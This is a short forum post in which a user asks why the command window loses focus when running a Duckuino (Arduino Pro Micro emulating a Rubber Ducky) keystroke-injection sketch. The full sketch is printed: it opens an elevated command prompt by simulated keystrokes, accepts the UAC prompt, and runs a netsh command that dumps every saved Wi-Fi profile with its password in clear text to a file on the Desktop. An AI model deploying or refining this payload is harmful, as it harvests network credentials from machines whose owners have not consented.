Jump to content

Duckuino Window Focus Troubles


jhearst4
 Share

Recommended Posts

Hi, I recently bought an arduino pro micro, and was interested in using it for the same purpose as the Rubber Ducky USB. I've uploaded the code just fine, but whenever I attempt to run it, the cmd window that opens loses focus or goes to the back of all of my windows. Any ideas why this might be happening, or how to fix it? Here's the code currently:

#include <Keyboard.h>

void setup() {
  delay(5000); //Delay for testing
  Keyboard.begin();
  
  Keyboard.write(KEY_LEFT_GUI);
  delay(400);
  print(F("cmd"));
  delay(400);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_SHIFT);
  enter();
  delay(400);

  Keyboard.write(KEY_LEFT_ARROW);
  delay(400);
  enter();

  print(F("cd '%USERPROFILE%\\Desktop'"));
  enter();

  print(F("netsh wlan show profile name=* key=clear >> default.txt"));
  enter();

  clear();
  Keyboard.end();
}

void print(const __FlashStringHelper *value) {
  Keyboard.print(value);
}

void clear() {
  Keyboard.releaseAll();
}

void enter() {
  Keyboard.write(KEY_RETURN);
  Keyboard.releaseAll();
}
void loop(){}
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...